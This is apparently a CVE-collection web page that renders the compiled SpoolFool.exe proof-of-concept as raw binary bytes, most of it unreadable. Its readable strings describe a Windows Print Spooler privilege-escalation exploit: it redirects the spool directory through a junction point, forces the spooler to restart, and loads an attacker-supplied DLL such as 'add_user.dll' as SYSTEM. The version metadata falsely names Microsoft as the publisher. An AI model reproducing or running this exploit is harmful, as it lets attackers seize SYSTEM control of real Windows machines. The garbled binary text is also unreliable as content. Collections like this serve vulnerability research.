4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / SpoolFool.exe EXE
MZ����@���	�!�L�!This program cannot be run in DOS mode.

$PEL����"0<n[ `@ �`�[O`���Z8  H.textt; < `.rsrc�`>@@.reloc�D@BN[H|+/{
*{
*V(
}
}
*0Au
.4,/(
{
{
o
,(
{
{
o
***� ��F� )UU�Z(
{
o
X )UU�Z(
{
o
X*0brp�%{

%q�-&+�o
�%{
%q�-&+�o
�(
*0$(
(
-r?ps 
z(
,-r�ps 
z(!
& @(
("
rp(
(#
o$
�
 �};�iX�}<}>�i�}?�iX�}@}A �?�&}B{B�i(%
(+('

	(+o)
 �		�iX~*
~*
(-
r#p(�	(+
�,o,
�*�:D�
0�(
-(-
,reps 
z* @(
�
 �};}< �?�&}B	(+('
(+o)
 �	~*
~*
(-
r�p(�(+
�(.
�r�ps/
z,o,
�*(c5���(��
0.(
-* �(
(
��
,o,
�*"
0/ �(
(
%-reps 
z�
,o,
�*#
0��
(0
(1

('
o)
 �	~*
~*
(-(2
 &3�~r�p(�
(0
(3
�

	{; �.�L("
	{B	{>	{?o4
rpo5
,rp(6
o7
�(+
�*���~*
  ~*
(s8
(2
,
rCp(*F(9
(:
s/
z0% s;

 (&o
*0	� }E(*0N
�}Grp}Jr�p}Ir�p}Or�p}Pr�p(*(
*0rr�p(<
--(*(~*
(=
,s>
z� 
+	(?
Z(@
	(A
�	X
	�i2�(�(+
�*46j0n(B
oC

,(+-U(E
r�p(F
r	p(F
(E
r=p(F
rQp(G
r�p(G
r�p(G
r)p(G
*rpr�pr�p
(H
~\%-&~[�sI
%�\(+oK

8�
oL
oM
oN
r�p(<
-Hr�p(<
-:r�p(<
-:r�p(<
-,r�p(<
-,r�p(<
-+(oO
X�+oO
X�+oO
X�

oP
:_����
,
o,
�	r�p(<
,r�p(F
*	(-
-r#p	(G
*r�p(<
,4r[p(Q
�o
oN
r_p(R
rcp(G
(S
(Q
�o
(T
((T
r�p(T
o7
(#
	(U
		(T

r�p(G
rp(G
(!
&rSp(G
r�p(G
(-Er�p(G
rGp(G
(~*
(=
,r�p(G
*r�p(G
+rp(G
(
,rCp(G
8�r�p(G
r�pr�po6
(-r�p(G
+
rW	p(G
*r�	p(V
(	r
prQ
p(F
r�
pr�
po6
(&r�
p(W
 �(X
r�
p(W
(,�r�p(F
r�
p(F
(
,r)p(G
+
r�p(G
*r�p	
(V

(-
,rp
(G
rMp
(G

(Y
	
(Z
r�p
(G

([
r�p �s\
o]

(^
r�p
(G
r�
pr�
p

o6
(&r=
p(F
(.
*��Y(
*.s�[*(
*"s_
*BSJBv4.0.30319l�#~h
#Stringstp
#US�)#GUID�) #BlobW=�	�3:
\7_4	n�*��5��	��	r�	�	��	��		�	����U�	$��E
�	Q���=�{D0
��	�	�	��	�
�
�^	8M��	k�	%M�	�
�	c�H
��
W�	M�	��p���	d�	�2
�	��	��	
!
�_�	Ya
M��	i�t�^	
^	�^	�^	vUE��
D	E
D	E
�	D	E�aa�	aua!e;feC
FeF!IE[!�)!�-Q��XQ�wXQ�XQ��XQ��XQ��XQ��XQ��XQ��[Q�4^Q�6XQ��XQ��XQ�SX+[V�haV�oaV�HaV�	a+[V��eV�oeV�veV�he+[V�iV�
iV�-iV�,
iV�i+[V�hmV��	mV��	mV��mV�fmV��mV��mV�zmV��mV��
mV��mV��mV��mV��mV�:mV��mV��mV��mV��	mV�4mV��mV��mV��
mV�	mV��m�[xq�qe
q�qz
q�q�
t^<��X�^[^?^�^t^�
^�	^<��^Y^^�^���[�[�[�[�[
[�[�[6rx|P �*X �\$` ��nx ���� �	6� ��k�� N	��� ��l!�J��"�h��#�
��#�[
�H$�S
�0%��
�a%�E��� ��� �
� �� ��#�� �)t%��9/�%��
�/�%��
�1.&��2�� �28&���4�&��	�5T+��6\+���6h+��6p+�
6.``��
��
�{�(�%�
`��
|�
h�
��
1Q[�
�
[
	<
U	`����J�:3h�h ����`.	���
)�1�9�A�I�Q�Y�a�i�q�y����������)�-���
C�L�
C�L	[	[��k>
rH�
�����)E�7
�)��9u�A��A��A��I��QV
�A��YBa
�h����q�
A�A3A%!))�1m6:��?AA$E���eQ�k��Q|A�qA�w�S���	k�q����������Q�4���L
�<uD�
L\$�
kL*��
)��-7
2T9��3���=�v��[
Dah�auIa|	O��U�`a�	gL�n���� �$�(�	,�0�4�8�<�@�	H�	L�	P�	T�	\�	`�	d�	h�	p�	t�	x�	|�	��	��	��	��	��	��	�	�	�
	�	�	�	�	�#	�(	��	��	��	��	�-	�2	�7	�<	�A	�F	�K!�..".A.#J.+Y.3Y.;_.CJ.Kn.SY.[Y.c�.k�.s�A�C{�`�����������������#���{�eV�P�T�T�T�T�T�T�T�T�T�T�T�T1a|���LRW\|.`+	8	 <Tho��
FN	@�F!F#�
%�'@1�D	v@v�	v	

|
m
M�Q�����<>9__2_0<Main>b__2_0IEnumerable`1EqualityComparer`1IEnumerator`1PRINTER_INFO_2<>f__AnonymousType0`2Func`3<>9<Module>ERROR_INVALID_REPARSE_DATASTANDARD_RIGHTS_REQUIREDERROR_REPARSE_TAG_INVALIDPRINTER_ACCESS_USEERROR_REPARSE_TAG_MISMATCHAveragePPMSystem.IOREPARSE_DATA_BUFFERGetExceptionForHRPRINTER_ACCESS_ADMINISTRATORPRINTER_ALL_ACCESSPRINTER_DEFAULTSERROR_REPARSE_ATTRIBUTE_CONFLICTERROR_NOT_A_REPARSE_POINTFSCTL_DELETE_REPARSE_POINTFSCTL_GET_REPARSE_POINTFSCTL_SET_REPARSE_POINTIO_REPARSE_TAG_MOUNT_POINTCommandLineToArgvWvalue__cbDatapDatamscorlib<>cSystem.Collections.GenericGenericReadThreadpBytesReturnedlpOverlappedCompressedEncryptedReservedNotContentIndexedNewGuid<value>i__Field<index>i__FieldhDeviceFirstPipeInstanceGetHashCodedwIoControlCodedwShareModeaccessModepDevModeget_UnicodemessageEnumerableIDisposableSafeHandleSafeFileHandleRuntimeTypeHandleGetTypeFromHandlepHandleDangerousGetHandlehandleSparseFileCreateFilehTemplateFilepSepFileConsoleAddAccessRuleFileSystemAccessRulelpFileNameGetFileNamepShareNamepValueNamepNamepPrinterNameprinterNamepDriverNamepServerNamepPortNamepKeyNameUntilTimeStartTimelpCmdLinecommandLineWriteLineCombineOfflineNoneValueTypeAccessControlTypepDatatypeEFileShareSystem.CorePtrToStructureDeleteOnCloseDisposeCreateDebuggerBrowsableStateDeleteGenericWriteoverwriteCompilerGeneratedAttributeGuidAttributeDebuggableAttributeDebuggerBrowsableAttributeComVisibleAttributeAssemblyTitleAttributeAssemblyTrademarkAttributeTargetFrameworkAttributeDebuggerHiddenAttributeAssemblyFileVersionAttributeAssemblyConfigurationAttributeAssemblyDescriptionAttributeFlagsAttributeCompilationRelaxationsAttributeAssemblyProductAttributeAssemblyCopyrightAttributeAssemblyCompanyAttributeRuntimeCompatibilityAttributeGenericExecuteByteget_valueArchiveSpoolFool.exeget_SizenInBufferSizenOutBufferSizebufferSizeSizeOfReparseTagSystem.ThreadingEncodingSystem.Runtime.VersioningNoBufferingToStringGetStringSubstringTruncateExistingOpenExistingWrite_ThroughGetFullPathGetTempPathoutPathpathget_LengthReparseDataLengthSubstituteNameLengthPrintNameLengthStartsWithPtrToStringUniAllocHGlobalFreeHGlobalMarshalNormalSystem.ComponentModelLevellevelGenericAllOpenNoRecallkernel32.dllshell32.dllSpoolFoolDeviceIoControlSystem.Security.AccessControlGetAccessControlSetAccessControlProgramSystemEnumSequentialScanHiddenMainget_LocationpLocationSystem.ReflectionECreationDispositiondwCreationDispositionWin32ExceptionIOExceptionprinterInfoDirectoryInfoZeroSleepSystem.Linq<value>j__TPar<index>j__TParIFormatProviderStringBuilderPathBufferInBufferOutBufferToUpperAddPrinterCreatePrinterOpenExistingPrinterphPrinterOpenPrintertargetDirGetHRForLastWin32ErrorGetLastWin32ErrorThrowLastWin32ErrorpPrintProcessorIEnumeratorGetEnumerator.ctor.cctorpSecurityDescriptorStructureToPtrReadIntPtrcJobsBackupSemanticsPosixSemanticsSystem.DiagnosticsSystem.Runtime.InteropServicesSystem.Runtime.CompilerServicesDebuggingModesMicrosoft.Win32.SafeHandlesdwFlagsAndAttributesEFileAttributeslpSecurityAttributesGetBytespNumArgsargsEqualsSystem.CollectionspParametersdwDesiredAccessEFileAccessRandomAccessFileSystemRightsExistsStatusCreateAlwaysOpenAlwaysConcatFormatObjectSelectInternalGetTargetSubstituteNameOffsetPrintNameOffsetget_DefaultpDefaultpCommentget_CurrentOpenReparsePointreparsePointJunctionPointjunctionPointMoveNextSystem.TextpEnvwinspool.drvNewSetPrinterDataExget_indexNonInterpretedPathPrefixArrayGetExecutingAssemblyReadonlyAnyCopyTemporaryCreateDirectoryGetPrinterDriverDirectoryGetDriverDirectoryCommandEntryop_EqualityDefaultPriorityFileSecurityFileSystemSecurity={{ index = {0}, value = {1} }}cTarget path does not exist or is not a directory.uDirectory already exists and overwrite parameter is false.	\??\AUnable to create junction point.;Path is not a junction point.AUnable to delete junction point._Unable to get information about junction point.;Unable to open reparse point.AMicrosoft XPS Document Writer v4PORTPROMPT:winprintRAWSpoolFool3  By Oliver Lyak (@ly4k_)Examples:/  {0} -dll add_user.dll[  {0} -dll add_user.dll -printer 'My Printer'K  {0} -dll add_user.dll -dir 'SECRET'w  {0} -dll add_user.dll -printer 'My Printer' -dir 'SECRET'4-PRINTER/PRINTER	-DIR	/DIR	-DLL	/DLL1[-] Please specify a DLL7[-] Could not find DLL: {0}{}W[*] Generating random driver directory: {0}\\localhost\C$\7[*] Using printer name: {0}?[*] Using driver directory: {0}O[*] Using temporary base directory: {0}Q[*] Trying to open existing printer: {0}Q[*] Failed to open existing printer: {0}C[*] Trying to create printer: {0}C[-] Failed to create printer: {0}1[+] Created printer: {0}A[+] Opened existing printer: {0}G[*] Target directory already existsG[*] Setting spool directory to: {0}\SpoolDirectorya[+] Successfully set the spool directory to: {0}[[-] Failed to set the spool directory to: {0}O[*] Creating junction point: {0} -> {1}MC:\Windows\System32\AppVTerminator.dll=[*] Forcing spooler to restartCopyFiles\
ModuleE[*] Waiting for spooler to restart.+[+] Spooler restarted][+] Successfully created driver directory: {0}U[-] Failed to create driver directory: {0}7[*] Copying DLL: {0} -> {1}7[*] DLL already exists: {0};[*] Trying to delete DLL: {0}g[*] Granting read and execute to SYSTEM on DLL: {0}
System=[*] Loading DLL as SYSTEM: {0}1[*] DLL should be loaded�t����L�L�¨�P3      I
}} }  	��U((���� 
����
( U((Y ��UU	(��������     ��i,0#mqu����
y ����y	
�� q
q   um
 ���� ��m �z\V4�&'()*�	�	�	�\??\�@  @� @ ��	 $4
y 	 $UU	,0
iii	
 ((TWrapNonExceptionThrows	SpoolFool	Microsoft Copyright © Microsoft 2021)$ec49a1b1-4daa-47b1-90d1-787d44c641c01.0.0.0M.NETFramework,Version=v4.5.2TFrameworkDisplayName.NET Framework 4.5.2��P�R�Z�<RSDSC�^o�5cA��ā�ZA>Z:\predator\SpoolFool\SpoolFool\obj\Release\SpoolFool.pdbB[\[ N[_CorExeMainmscoree.dll�% @ �P�8��h���`@@4VS_VERSION_INFO��?DVarFileInfo$Translation��StringFileInfo|000004b0Comments4
CompanyNameMicrosoft<
FileDescriptionSpoolFool0FileVersion1.0.0.0<InternalNameSpoolFool.exeZLegalCopyrightCopyright � Microsoft 2021*LegalTrademarksDOriginalFilenameSpoolFool.exe4
ProductNameSpoolFool4ProductVersion1.0.0.08Assembly Version1.0.0.0�c�<?xml version="1.0" encoding="UTF-8" standalone="yes"?>

<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
  <assemblyIdentity version="1.0.0.0" name="MyApplication.app"/>
  <trustInfo xmlns="urn:schemas-microsoft-com:asm.v2">
    <security>
      <requestedPrivileges xmlns="urn:schemas-microsoft-com:asm.v3">
        <requestedExecutionLevel level="asInvoker" uiAccess="false"/>
      </requestedPrivileges>
    </security>
  </trustInfo>
</assembly>Pp;